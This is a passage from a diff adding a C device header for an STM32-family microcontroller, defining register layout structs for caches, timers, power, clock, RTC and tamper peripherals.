GTZC_TZIC_TypeDef; + +/** + * @brief Instruction Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< ICACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< ICACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< ICACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< ICACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t HMONR; /*!< ICACHE hit monitor register, Address offset: 0x10 */ + __IO uint32_t MMONR; /*!< ICACHE miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t CRR0; /*!< ICACHE region 0 configuration register, Address offset: 0x20 */ + __IO uint32_t CRR1; /*!< ICACHE region 1 configuration register, Address offset: 0x24 */ + __IO uint32_t CRR2; /*!< ICACHE region 2 configuration register, Address offset: 0x28 */ + __IO uint32_t CRR3; /*!< ICACHE region 3 configuration register, Address offset: 0x2C */ +} ICACHE_TypeDef; + +/** + * @brief Data Cache + */ +typedef struct +{ + __IO uint32_t CR; /*!< DCACHE control register, Address offset: 0x00 */ + __IO uint32_t SR; /*!< DCACHE status register, Address offset: 0x04 */ + __IO uint32_t IER; /*!< DCACHE interrupt enable register, Address offset: 0x08 */ + __IO uint32_t FCR; /*!< DCACHE Flag clear register, Address offset: 0x0C */ + __IO uint32_t RHMONR; /*!< DCACHE Read hit monitor register, Address offset: 0x10 */ + __IO uint32_t RMMONR; /*!< DCACHE Read miss monitor register, Address offset: 0x14 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x18-0x1C */ + __IO uint32_t WHMONR; /*!< DCACHE Write hit monitor register, Address offset: 0x20 */ + __IO uint32_t WMMONR; /*!< DCACHE Write miss monitor register, Address offset: 0x24 */ + __IO uint32_t CMDRSADDRR; /*!< DCACHE Command Start Address register, Address offset: 0x28 */ + __IO uint32_t CMDREADDRR; /*!< DCACHE Command End Address register, Address offset: 0x2C */ +} DCACHE_TypeDef; + +/** + * @brief PSSI + */ +typedef struct +{ + __IO uint32_t CR; /*!< PSSI control register, Address offset: 0x000 */ + __IO uint32_t SR; /*!< PSSI status register, Address offset: 0x004 */ + __IO uint32_t RIS; /*!< PSSI raw interrupt status register, Address offset: 0x008 */ + __IO uint32_t IER; /*!< PSSI interrupt enable register, Address offset: 0x00C */ + __IO uint32_t MIS; /*!< PSSI masked interrupt status register, Address offset: 0x010 */ + __IO uint32_t ICR; /*!< PSSI interrupt clear register, Address offset: 0x014 */ + __IO uint32_t RESERVED1[4]; /*!< Reserved, 0x018 - 0x024 */ + __IO uint32_t DR; /*!< PSSI data register, Address offset: 0x028 */ +} PSSI_TypeDef; + +/** + * @brief TIM + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TIM control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TIM control register 2, Address offset: 0x04 */ + __IO uint32_t SMCR; /*!< TIM slave mode control register, Address offset: 0x08 */ + __IO uint32_t DIER; /*!< TIM DMA/interrupt enable register, Address offset: 0x0C */ + __IO uint32_t SR; /*!< TIM status register, Address offset: 0x10 */ + __IO uint32_t EGR; /*!< TIM event generation register, Address offset: 0x14 */ + __IO uint32_t CCMR1; /*!< TIM capture/compare mode register 1, Address offset: 0x18 */ + __IO uint32_t CCMR2; /*!< TIM capture/compare mode register 2, Address offset: 0x1C */ + __IO uint32_t CCER; /*!< TIM capture/compare enable register, Address offset: 0x20 */ + __IO uint32_t CNT; /*!< TIM counter register, Address offset: 0x24 */ + __IO uint32_t PSC; /*!< TIM prescaler, Address offset: 0x28 */ + __IO uint32_t ARR; /*!< TIM auto-reload register, Address offset: 0x2C */ + __IO uint32_t RCR; /*!< TIM repetition counter register, Address offset: 0x30 */ + __IO uint32_t CCR1; /*!< TIM capture/compare register 1, Address offset: 0x34 */ + __IO uint32_t CCR2; /*!< TIM capture/compare register 2, Address offset: 0x38 */ + __IO uint32_t CCR3; /*!< TIM capture/compare register 3, Address offset: 0x3C */ + __IO uint32_t CCR4; /*!< TIM capture/compare register 4, Address offset: 0x40 */ + __IO uint32_t BDTR; /*!< TIM break and dead-time register, Address offset: 0x44 */ + __IO uint32_t CCR5; /*!< TIM capture/compare register 5, Address offset: 0x48 */ + __IO uint32_t CCR6; /*!< TIM capture/compare register 6, Address offset: 0x4C */ + __IO uint32_t CCMR3; /*!< TIM capture/compare mode register 3, Address offset: 0x50 */ + __IO uint32_t DTR2; /*!< TIM deadtime register 2, Address offset: 0x54 */ + __IO uint32_t ECR; /*!< TIM encoder control register, Address offset: 0x58 */ + __IO uint32_t TISEL; /*!< TIM Input Selection register, Address offset: 0x5C */ + __IO uint32_t AF1; /*!< TIM alternate function option register 1, Address offset: 0x60 */ + __IO uint32_t AF2; /*!< TIM alternate function option register 2, Address offset: 0x64 */ + __IO uint32_t OR1 ; /*!< TIM option register, Address offset: 0x68 */ + uint32_t RESERVED0[220];/*!< Reserved, Address offset: 0x6C */ + __IO uint32_t DCR; /*!< TIM DMA control register, Address offset: 0x3DC */ + __IO uint32_t DMAR; /*!< TIM DMA address for full transfer, Address offset: 0x3E0 */ +} TIM_TypeDef; + +/** + * @brief LPTIMER + */ +typedef struct +{ + __IO uint32_t ISR; /*!< LPTIM Interrupt and Status register, Address offset: 0x00 */ + __IO uint32_t ICR; /*!< LPTIM Interrupt Clear register, Address offset: 0x04 */ + __IO uint32_t DIER; /*!< LPTIM Interrupt Enable register, Address offset: 0x08 */ + __IO uint32_t CFGR; /*!< LPTIM Configuration register, Address offset: 0x0C */ + __IO uint32_t CR; /*!< LPTIM Control register, Address offset: 0x10 */ + __IO uint32_t CCR1; /*!< LPTIM Capture/Compare register 1, Address offset: 0x14 */ + __IO uint32_t ARR; /*!< LPTIM Autoreload register, Address offset: 0x18 */ + __IO uint32_t CNT; /*!< LPTIM Counter register, Address offset: 0x1C */ + __IO uint32_t RESERVED0; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t CFGR2; /*!< LPTIM Configuration register 2, Address offset: 0x24 */ + __IO uint32_t RCR; /*!< LPTIM Repetition register, Address offset: 0x28 */ + __IO uint32_t CCMR1; /*!< LPTIM Capture/Compare mode register, Address offset: 0x2C */ + __IO uint32_t RESERVED1; /*!< Reserved, Address offset: 0x30 */ + __IO uint32_t CCR2; /*!< LPTIM Capture/Compare register 2, Address offset: 0x34 */ +} LPTIM_TypeDef; + +/** + * @brief Comparator + */ +typedef struct +{ + __IO uint32_t CSR; /*!< Comparator control and status register, Address offset: 0x00 */ +} COMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR_ODD; /*!< COMP control and status register located in register of comparator instance odd, used for bits common to several COMP instances, Address offset: 0x00 */ + __IO uint32_t CSR_EVEN; /*!< COMP control and status register located in register of comparator instance even, used for bits common to several COMP instances, Address offset: 0x04 */ +} COMP_Common_TypeDef; + +/** + * @brief Operational Amplifier (OPAMP) + */ +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, Address offset: 0x00 */ + __IO uint32_t OTR; /*!< OPAMP offset trimming register for normal mode, Address offset: 0x04 */ + __IO uint32_t LPOTR; /*!< OPAMP offset trimming register for low power mode, Address offset: 0x08 */ +} OPAMP_TypeDef; + +typedef struct +{ + __IO uint32_t CSR; /*!< OPAMP control/status register, used for bits common to + several OPAMP instances, Address offset: 0x00 */ +} OPAMP_Common_TypeDef; + + +/** + * @brief MDF/ADF + */ +typedef struct +{ + __IO uint32_t GCR; /*!< MDF Global Control register, Address offset: 0x00 */ + __IO uint32_t CKGCR; /*!< MDF Clock Generator Control Register, Address offset: 0x04 */ + uint32_t RESERVED1[6]; /*!< Reserved, 0x08-0x1C */ + __IO uint32_t OR; /*!< MDF Option Register, Address offset: 0x20 */ +}MDF_TypeDef; + +/** + * @brief MDF/ADF filter + */ +typedef struct +{ + __IO uint32_t SITFCR; /*!< MDF Serial Interface Control Register, Address offset: 0x80 */ + __IO uint32_t BSMXCR; /*!< MDF Bitstream Matrix Control Register, Address offset: 0x84 */ + __IO uint32_t DFLTCR; /*!< MDF Digital Filter Control Register, Address offset: 0x88 */ + __IO uint32_t DFLTCICR; /*!< MDF MCIC Configuration Register, Address offset: 0x8C */ + __IO uint32_t DFLTRSFR; /*!< MDF Reshape Filter Configuration Register, Address offset: 0x90 */ + __IO uint32_t DFLTINTR; /*!< MDF Integrator Configuration Register, Address offset: 0x94 */ + __IO uint32_t OLDCR; /*!< MDF Out-Of Limit Detector Control Register, Address offset: 0x98 */ + __IO uint32_t OLDTHLR; /*!< MDF OLD Threshold Low Register, Address offset: 0x9C */ + __IO uint32_t OLDTHHR; /*!< MDF OLD Threshold High Register, Address offset: 0xA0 */ + __IO uint32_t DLYCR; /*!< MDF Delay control Register, Address offset: 0xA4 */ + __IO uint32_t SCDCR; /*!< MDF short circuit detector control Register, Address offset: 0xA8 */ + __IO uint32_t DFLTIER; /*!< MDF DFLT Interrupt enable Register, Address offset: 0xAC */ + __IO uint32_t DFLTISR; /*!< MDF DFLT Interrupt status Register, Address offset: 0xB0 */ + __IO uint32_t OECCR; /*!< MDF Offset Error Compensation Control Register, Address offset: 0xB4 */ + __IO uint32_t SADCR; /*!< MDF SAD Control Register, Address offset: 0xB8 */ + __IO uint32_t SADCFGR; /*!< MDF SAD configuration register, Address offset: 0xBC */ + __IO uint32_t SADSDLVR; /*!< MDF SAD Sound level Register, Address offset: 0xC0 */ + __IO uint32_t SADANLVR; /*!< MDF SAD Ambient Noise level Register, Address offset: 0xC4 */ + uint32_t RESERVED1[9]; /*!< Reserved, 0xC8-0xE8 */ + __IO uint32_t SNPSDR; /*!< MDF Snapshot Data Register, Address offset: 0xEC */ + __IO uint32_t DFLTDR; /*!< MDF Digital Filter Data Register, Address offset: 0xF0 */ +} MDF_Filter_TypeDef; + +/** + * @brief OCTO Serial Peripheral Interface + */ + +typedef struct +{ + __IO uint32_t CR; /*!< XSPI Control register, Address offset: 0x000 */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x004 */ + __IO uint32_t DCR1; /*!< XSPI Device Configuration register 1, Address offset: 0x008 */ + __IO uint32_t DCR2; /*!< XSPI Device Configuration register 2, Address offset: 0x00C */ + __IO uint32_t DCR3; /*!< XSPI Device Configuration register 3, Address offset: 0x010 */ + __IO uint32_t DCR4; /*!< XSPI Device Configuration register 4, Address offset: 0x014 */ + uint32_t RESERVED1[2]; /*!< Reserved, Address offset: 0x018-0x01C */ + __IO uint32_t SR; /*!< XSPI Status register, Address offset: 0x020 */ + __IO uint32_t FCR; /*!< XSPI Flag Clear register, Address offset: 0x024 */ + uint32_t RESERVED2[6]; /*!< Reserved, Address offset: 0x028-0x03C */ + __IO uint32_t DLR; /*!< XSPI Data Length register, Address offset: 0x040 */ + uint32_t RESERVED3; /*!< Reserved, Address offset: 0x044 */ + __IO uint32_t AR; /*!< XSPI Address register, Address offset: 0x048 */ + uint32_t RESERVED4; /*!< Reserved, Address offset: 0x04C */ + __IO uint32_t DR; /*!< XSPI Data register, Address offset: 0x050 */ + uint32_t RESERVED5[11]; /*!< Reserved, Address offset: 0x054-0x07C */ + __IO uint32_t PSMKR; /*!< XSPI Polling Status Mask register, Address offset: 0x080 */ + uint32_t RESERVED6; /*!< Reserved, Address offset: 0x084 */ + __IO uint32_t PSMAR; /*!< XSPI Polling Status Match register, Address offset: 0x088 */ + uint32_t RESERVED7; /*!< Reserved, Address offset: 0x08C */ + __IO uint32_t PIR; /*!< XSPI Polling Interval register, Address offset: 0x090 */ + uint32_t RESERVED8[27]; /*!< Reserved, Address offset: 0x094-0x0FC */ + __IO uint32_t CCR; /*!< XSPI Communication Configuration register, Address offset: 0x100 */ + uint32_t RESERVED9; /*!< Reserved, Address offset: 0x104 */ + __IO uint32_t TCR; /*!< XSPI Timing Configuration register, Address offset: 0x108 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0x10C */ + __IO uint32_t IR; /*!< XSPI Instruction register, Address offset: 0x110 */ + uint32_t RESERVED11[3]; /*!< Reserved, Address offset: 0x114-0x11C */ + __IO uint32_t ABR; /*!< XSPI Alternate Bytes register, Address offset: 0x120 */ + uint32_t RESERVED12[3]; /*!< Reserved, Address offset: 0x124-0x12C */ + __IO uint32_t LPTR; /*!< XSPI Low Power Timeout register, Address offset: 0x130 */ + uint32_t RESERVED13[3]; /*!< Reserved, Address offset: 0x134-0x13C */ + __IO uint32_t WPCCR; /*!< XSPI Wrap Communication Configuration register, Address offset: 0x140 */ + uint32_t RESERVED14; /*!< Reserved, Address offset: 0x144 */ + __IO uint32_t WPTCR; /*!< XSPI Wrap Timing Configuration register, Address offset: 0x148 */ + uint32_t RESERVED15; /*!< Reserved, Address offset: 0x14C */ + __IO uint32_t WPIR; /*!< XSPI Wrap Instruction register, Address offset: 0x150 */ + uint32_t RESERVED16[3]; /*!< Reserved, Address offset: 0x154-0x15C */ + __IO uint32_t WPABR; /*!< XSPI Wrap Alternate Bytes register, Address offset: 0x160 */ + uint32_t RESERVED17[7]; /*!< Reserved, Address offset: 0x164-0x17C */ + __IO uint32_t WCCR; /*!< XSPI Write Communication Configuration register, Address offset: 0x180 */ + uint32_t RESERVED18; /*!< Reserved, Address offset: 0x184 */ + __IO uint32_t WTCR; /*!< XSPI Write Timing Configuration register, Address offset: 0x188 */ + uint32_t RESERVED19; /*!< Reserved, Address offset: 0x18C */ + __IO uint32_t WIR; /*!< XSPI Write Instruction register, Address offset: 0x190 */ + uint32_t RESERVED20[3]; /*!< Reserved, Address offset: 0x194-0x19C */ + __IO uint32_t WABR; /*!< XSPI Write Alternate Bytes register, Address offset: 0x1A0 */ + uint32_t RESERVED21[23]; /*!< Reserved, Address offset: 0x1A4-0x1FC */ + __IO uint32_t HLCR; /*!< XSPI Hyperbus Latency Configuration register, Address offset: 0x200 */ +} XSPI_TypeDef; + +typedef XSPI_TypeDef OCTOSPI_TypeDef; + + + + +/** + * @brief Power Control + */ +typedef struct +{ + __IO uint32_t CR1; /*!< Power control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< Power control register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< Power control register 3, Address offset: 0x08 */ + __IO uint32_t VOSR; /*!< Power voltage scaling register, Address offset: 0x0C */ + __IO uint32_t SVMCR; /*!< Power supply voltage monitoring control register, Address offset: 0x10 */ + __IO uint32_t WUCR1; /*!< Power wakeup control register 1, Address offset: 0x14 */ + __IO uint32_t WUCR2; /*!< Power wakeup control register 2, Address offset: 0x18 */ + __IO uint32_t WUCR3; /*!< Power wakeup control register 3, Address offset: 0x1C */ + __IO uint32_t BDCR1; /*!< Power backup domain control register 1, Address offset: 0x20 */ + __IO uint32_t BDCR2; /*!< Power backup domain control register 2, Address offset: 0x24 */ + __IO uint32_t DBPR; /*!< Power disable backup domain register, Address offset: 0x28 */ + uint32_t RESERVED1[1]; /*!< Reserved1, Address offset: 0x2C */ + __IO uint32_t SECCFGR; /*!< Power Security configuration register, Address offset: 0x30 */ + __IO uint32_t PRIVCFGR; /*!< Power privilege control register, Address offset: 0x34 */ + __IO uint32_t SR; /*!< Power status register, Address offset: 0x38 */ + __IO uint32_t SVMSR; /*!< Power supply voltage monitoring status register, Address offset: 0x3C */ + __IO uint32_t BDSR; /*!< Power backup domain status register, Address offset: 0x40 */ + __IO uint32_t WUSR; /*!< Power wakeup status register, Address offset: 0x44 */ + __IO uint32_t WUSCR; /*!< Power wakeup status clear register, Address offset: 0x48 */ + __IO uint32_t APCR; /*!< Power apply pull configuration register, Address offset: 0x4C */ + __IO uint32_t PUCRA; /*!< Power Port A pull-up control register, Address offset: 0x50 */ + __IO uint32_t PDCRA; /*!< Power Port A pull-down control register, Address offset: 0x54 */ + __IO uint32_t PUCRB; /*!< Power Port B pull-up control register, Address offset: 0x58 */ + __IO uint32_t PDCRB; /*!< Power Port B pull-down control register, Address offset: 0x5C */ + __IO uint32_t PUCRC; /*!< Power Port C pull-up control register, Address offset: 0x60 */ + __IO uint32_t PDCRC; /*!< Power Port C pull-down control register, Address offset: 0x64 */ + __IO uint32_t PUCRD; /*!< Power Port D pull-up control register, Address offset: 0x68 */ + __IO uint32_t PDCRD; /*!< Power Port D pull-down control register, Address offset: 0x6C */ + __IO uint32_t PUCRE; /*!< Power Port E pull-up control register, Address offset: 0x70 */ + __IO uint32_t PDCRE; /*!< Power Port E pull-down control register, Address offset: 0x74 */ + uint32_t RESERVED2[2]; /*!< Reserved2, Address offset: 0x78-0x7C */ + __IO uint32_t PUCRG; /*!< Power Port G pull-up control register, Address offset: 0x80 */ + __IO uint32_t PDCRG; /*!< Power Port G pull-down control register, Address offset: 0x84 */ + __IO uint32_t PUCRH; /*!< Power Port H pull-up control register, Address offset: 0x88 */ + __IO uint32_t PDCRH; /*!< Power Port H pull-down control register, Address offset: 0x8C */ +} PWR_TypeDef; + +/** + * @brief SRAMs configuration controller + */ +typedef struct +{ + __IO uint32_t CR; /*!< Control Register, Address offset: 0x00 */ + __IO uint32_t IER; /*!< Interrupt Enable Register, Address offset: 0x04 */ + __IO uint32_t ISR; /*!< Interrupt Status Register, Address offset: 0x08 */ + __IO uint32_t SEAR; /*!< ECC Single Error Address Register, Address offset: 0x0C */ + __IO uint32_t DEAR; /*!< ECC Double Error Address Register, Address offset: 0x10 */ + __IO uint32_t ICR; /*!< Interrupt Clear Register, Address offset: 0x14 */ + __IO uint32_t WPR1; /*!< SRAM Write Protection Register 1, Address offset: 0x18 */ + __IO uint32_t WPR2; /*!< SRAM Write Protection Register 2, Address offset: 0x1C */ + uint32_t RESERVED; /*!< Reserved, Address offset: 0x20 */ + __IO uint32_t ECCKEY; /*!< SRAM ECC Key Register, Address offset: 0x24 */ + __IO uint32_t ERKEYR; /*!< SRAM Erase Key Register, Address offset: 0x28 */ +}RAMCFG_TypeDef; + +/** + * @brief Reset and Clock Control + */ +typedef struct +{ + __IO uint32_t CR; /*!< RCC clock control register Address offset: 0x00 */ + uint32_t RESERVED0; /*!< Reserved Address offset: 0x04 */ + __IO uint32_t ICSCR1; /*!< RCC internal clock sources calibration register 1 Address offset: 0x08 */ + __IO uint32_t ICSCR2; /*!< RCC internal clock sources calibration register 2 Address offset: 0x0C */ + __IO uint32_t ICSCR3; /*!< RCC internal clock sources calibration register 3 Address offset: 0x10 */ + __IO uint32_t CRRCR; /*!< RCC Clock Recovery RC Register Address offset: 0x14 */ + uint32_t RESERVED1; /*!< Reserved Address offset: 0x18 */ + __IO uint32_t CFGR1; /*!< RCC clock configuration register 1 Address offset: 0x1C */ + __IO uint32_t CFGR2; /*!< RCC clock configuration register 2 Address offset: 0x20 */ + __IO uint32_t CFGR3; /*!< RCC clock configuration register 3 Address offset: 0x24 */ + __IO uint32_t PLL1CFGR; /*!< PLL1 Configuration Register Address offset: 0x28 */ + __IO uint32_t PLL2CFGR; /*!< PLL2 Configuration Register Address offset: 0x2C */ + __IO uint32_t PLL3CFGR; /*!< PLL3 Configuration Register Address offset: 0x30 */ + __IO uint32_t PLL1DIVR; /*!< PLL1 Dividers Configuration Register Address offset: 0x34 */ + __IO uint32_t PLL1FRACR; /*!< PLL1 Fractional Divider Configuration Register Address offset: 0x38 */ + __IO uint32_t PLL2DIVR; /*!< PLL2 Dividers Configuration Register Address offset: 0x3C */ + __IO uint32_t PLL2FRACR; /*!< PLL2 Fractional Divider Configuration Register Address offset: 0x40 */ + __IO uint32_t PLL3DIVR; /*!< PLL3 Dividers Configuration Register Address offset: 0x44 */ + __IO uint32_t PLL3FRACR; /*!< PLL3 Fractional Divider Configuration Register Address offset: 0x48 */ + uint32_t RESERVED2; /*!< Reserved Address offset: 0x4C */ + __IO uint32_t CIER; /*!< Clock Interrupt Enable Register Address offset: 0x50 */ + __IO uint32_t CIFR; /*!< Clock Interrupt Flag Register Address offset: 0x54 */ + __IO uint32_t CICR; /*!< Clock Interrupt Clear Register Address offset: 0x58 */ + uint32_t RESERVED3; /*!< Reserved Address offset: 0x5C */ + __IO uint32_t AHB1RSTR; /*!< AHB1 Peripherals Reset Register Address offset: 0x60 */ + __IO uint32_t AHB2RSTR1; /*!< AHB2 Peripherals Reset Register 1 Address offset: 0x64 */ + __IO uint32_t AHB2RSTR2; /*!< AHB2 Peripherals Reset Register 2 Address offset: 0x68 */ + __IO uint32_t AHB3RSTR; /*!< AHB3 Peripherals Reset Register Address offset: 0x6C */ + uint32_t RESERVED4; /*!< Reserved Address offset: 0x70 */ + __IO uint32_t APB1RSTR1; /*!< APB1 Peripherals Reset Register 1 Address offset: 0x74 */ + __IO uint32_t APB1RSTR2; /*!< APB1 Peripherals Reset Register 2 Address offset: 0x78 */ + __IO uint32_t APB2RSTR; /*!< APB2 Peripherals Reset Register Address offset: 0x7C */ + __IO uint32_t APB3RSTR; /*!< APB3 Peripherals Reset Register Address offset: 0x80 */ + uint32_t RESERVED5; /*!< Reserved Address offset: 0x84 */ + __IO uint32_t AHB1ENR; /*!< AHB1 Peripherals Clock Enable Register Address offset: 0x88 */ + __IO uint32_t AHB2ENR1; /*!< AHB2 Peripherals Clock Enable Register 1 Address offset: 0x8C */ + __IO uint32_t AHB2ENR2; /*!< AHB2 Peripherals Clock Enable Register 2 Address offset: 0x90 */ + __IO uint32_t AHB3ENR; /*!< AHB3 Peripherals Clock Enable Register Address offset: 0x94 */ + uint32_t RESERVED6; /*!< Reserved Address offset: 0x98 */ + __IO uint32_t APB1ENR1; /*!< APB1 Peripherals Clock Enable Register 1 Address offset: 0x9C */ + __IO uint32_t APB1ENR2; /*!< APB1 Peripherals Clock Enable Register 2 Address offset: 0xA0 */ + __IO uint32_t APB2ENR; /*!< APB2 Peripherals Clock Enable Register Address offset: 0xA4 */ + __IO uint32_t APB3ENR; /*!< APB3 Peripherals Clock Enable Register Address offset: 0xA8 */ + uint32_t RESERVED7; /*!< Reserved Address offset: 0xAC */ + __IO uint32_t AHB1SMENR; /*!< AHB1 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xB0 */ + __IO uint32_t AHB2SMENR1; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xB4 */ + __IO uint32_t AHB2SMENR2; /*!< AHB2 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xB8 */ + __IO uint32_t AHB3SMENR; /*!< AHB3 Peripherals Clock Enable in Sleep and Stop Modes Register Address offset: 0xBC */ + uint32_t RESERVED8; /*!< Reserved Address offset: 0xC0 */ + __IO uint32_t APB1SMENR1; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xC4 */ + __IO uint32_t APB1SMENR2; /*!< APB1 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xC8 */ + __IO uint32_t APB2SMENR; /*!< APB2 Peripherals Clock Enable in Sleep and Stop Modes Register 1 Address offset: 0xCC */ + __IO uint32_t APB3SMENR; /*!< APB3 Peripherals Clock Enable in Sleep and Stop Modes Register 2 Address offset: 0xD0 */ + uint32_t RESERVED9; /*!< Reserved Address offset: 0xD4 */ + __IO uint32_t SRDAMR; /*!< SRD Autonomous Mode Register Address offset: 0xD8 */ + uint32_t RESERVED10; /*!< Reserved, Address offset: 0xDC */ + __IO uint32_t CCIPR1; /*!< IPs Clocks Configuration Register 1 Address offset: 0xE0 */ + __IO uint32_t CCIPR2; /*!< IPs Clocks Configuration Register 2 Address offset: 0xE4 */ + __IO uint32_t CCIPR3; /*!< IPs Clocks Configuration Register 3 Address offset: 0xE8 */ + uint32_t RESERVED11; /*!< Reserved, Address offset: 0xEC */ + __IO uint32_t BDCR; /*!< Backup Domain Control Register Address offset: 0xF0 */ + __IO uint32_t CSR; /*!< V33 Clock Control & Status Register Address offset: 0xF4 */ + uint32_t RESERVED[6]; /*!< Reserved Address offset: 0xF8 */ + __IO uint32_t SECCFGR; /*!< RCC secure configuration register Address offset: 0x110 */ + __IO uint32_t PRIVCFGR; /*!< RCC privilege configuration register Address offset: 0x114 */ +} RCC_TypeDef; + +/* +* @brief RTC Specific device feature definitions +*/ +#define RTC_BKP_NB 32U +#define RTC_TAMP_NB 8U + +/** + * @brief Real-Time Clock + */ +typedef struct +{ + __IO uint32_t TR; /*!< RTC time register, Address offset: 0x00 */ + __IO uint32_t DR; /*!< RTC date register, Address offset: 0x04 */ + __IO uint32_t SSR; /*!< RTC sub second register, Address offset: 0x08 */ + __IO uint32_t ICSR; /*!< RTC initialization control and status register, Address offset: 0x0C */ + __IO uint32_t PRER; /*!< RTC prescaler register, Address offset: 0x10 */ + __IO uint32_t WUTR; /*!< RTC wakeup timer register, Address offset: 0x14 */ + __IO uint32_t CR; /*!< RTC control register, Address offset: 0x18 */ + __IO uint32_t PRIVCFGR; /*!< RTC privilege mode control register, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< RTC secure mode control register, Address offset: 0x20 */ + __IO uint32_t WPR; /*!< RTC write protection register, Address offset: 0x24 */ + __IO uint32_t CALR; /*!< RTC calibration register, Address offset: 0x28 */ + __IO uint32_t SHIFTR; /*!< RTC shift control register, Address offset: 0x2C */ + __IO uint32_t TSTR; /*!< RTC time stamp time register, Address offset: 0x30 */ + __IO uint32_t TSDR; /*!< RTC time stamp date register, Address offset: 0x34 */ + __IO uint32_t TSSSR; /*!< RTC time-stamp sub second register, Address offset: 0x38 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x3C */ + __IO uint32_t ALRMAR; /*!< RTC alarm A register, Address offset: 0x40 */ + __IO uint32_t ALRMASSR; /*!< RTC alarm A sub second register, Address offset: 0x44 */ + __IO uint32_t ALRMBR; /*!< RTC alarm B register, Address offset: 0x48 */ + __IO uint32_t ALRMBSSR; /*!< RTC alarm B sub second register, Address offset: 0x4C */ + __IO uint32_t SR; /*!< RTC Status register, Address offset: 0x50 */ + __IO uint32_t MISR; /*!< RTC masked interrupt status register, Address offset: 0x54 */ + __IO uint32_t SMISR; /*!< RTC secure masked interrupt status register, Address offset: 0x58 */ + __IO uint32_t SCR; /*!< RTC status Clear register, Address offset: 0x5C */ + uint32_t RESERVED4[4];/*!< Reserved, Address offset: 0x58 */ + __IO uint32_t ALRABINR; /*!< RTC alarm A binary mode register, Address offset: 0x70 */ + __IO uint32_t ALRBBINR; /*!< RTC alarm B binary mode register, Address offset: 0x74 */ +} RTC_TypeDef; + +/** + * @brief Tamper and backup registers + */ +typedef struct +{ + __IO uint32_t CR1; /*!< TAMP configuration register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< TAMP configuration register 2, Address offset: 0x04 */ + __IO uint32_t CR3; /*!< TAMP configuration register 3, Address offset: 0x08 */ + __IO uint32_t FLTCR; /*!< TAMP filter control register, Address offset: 0x0C */ + __IO uint32_t ATCR1; /*!< TAMP filter control register 1 Address offset: 0x10 */ + __IO uint32_t ATSEEDR; /*!< TAMP active tamper seed register, Address offset: 0x14 */ + __IO uint32_t ATOR; /*!< TAMP active tamper output register, Address offset: 0x18 */ + __IO uint32_t ATCR2; /*!< TAMP filter control register 2, Address offset: 0x1C */ + __IO uint32_t SECCFGR; /*!< TAMP secure mode control register, Address offset: 0x20 */ + __IO uint32_t PRIVCFGR; /*!< TAMP privilege mode control register, Address offset: 0x24 */ + uint32_t RESERVED0; /*!< Reserved, Address offset: 0x28 */ + __IO uint32_t IER; /*!< TAMP interrupt enable register, Address offset: 0x2C */ + __IO uint32_t SR; /*!< TAMP status register, Address offset: 0x30 */ + __IO uint32_t MISR; /*!< TAMP masked interrupt status register, Address offset: 0x34 */ + __IO uint32_t SMISR; /*!< TAMP secure masked interrupt status register,Address offset: 0x38 */ + __IO uint32_t SCR; /*!< TAMP status clear register, Address offset: 0x3C */ + __IO uint32_t COUNTR; /*!< TAMP monotonic counter register, Address offset: 0x40 */ + uint32_t RESERVED1[4]; /*!< Reserved, Address offset: 0x43 -- 0x50 */ + __IO uint32_t ERCFGR; /*!< TAMP erase configuration register, Address offset: 0x54 */ + uint32_t RESERVED2[42]; /*!< Reserved, Address offset: 0x58 -- 0xFC */ + __IO uint32_t BKP0R; /*!< TAMP backup register 0, Address offset: 0x100 */ + __IO uint32_t BKP1R; /*!< TAMP backup register 1, Address offset: 0x104 */ + __IO uint32_t BKP2R; /*!< TAMP backup register 2, Address offset: 0x108 */ + __IO uint32_t BKP3R; /*!< TAMP backup register 3, Address offset: 0x10C */ + __IO uint32_t BKP4R; /*!< TAMP backup register 4, Address offset: 0x110 */ + __IO uint32_t BKP5R; /*!< TAMP backup register 5, Address offset: 0x114 */ + __IO uint32_t BKP6R; /*!< TAMP backup register 6, Address offset: 0x118 */ + __IO uint32_t BKP7R; /*!< TAMP backup register 7, Address offset: 0x11C */ + __IO uint32_t BKP8R; /*!< TAMP backup register 8, Address offset: 0x120 */ + __IO uint32_t BKP9R; /*!< TAMP backup register 9, Address offset: 0x124 */ + __IO uint32_t BKP10R; /*!< TAMP backup register 10, Address offset: 0x128 */ + __IO uint32_t BKP11R; /*!< TAMP backup register 11, Address offset: 0x12C */ + __IO uint32_t BKP12R; /*!< TAMP backup register 12, Address offset: 0x130 */ + __IO uint32_t BKP13R; /*!< TAMP backup register 13, Address offset: 0x134 */ + __IO uint32_t BKP14R; /*!< TAMP backup register 14, Address offset: 0x138 */ + __IO uint32_t BKP15R; /*!< TAMP backup register 15, Address offset: 0x13C */ + __IO uint32_t BKP16R; /*!< TAMP backup register 16, Address offset: 0x140 */ + __IO uint32_t BKP17R; /*!< TAMP backup register 17, Address offset: 0x144 */ + __IO uint32_t BKP18R; /*!< TAMP backup register 18, Address offset: 0x148 */ + __IO uint32_t BKP19R; /*!< TAMP backup register 19, Address offset: 0x14C */ + __IO uint32_t BKP20R; /*!< TAMP backup register 20, Address offset: 0x150 */ + __IO 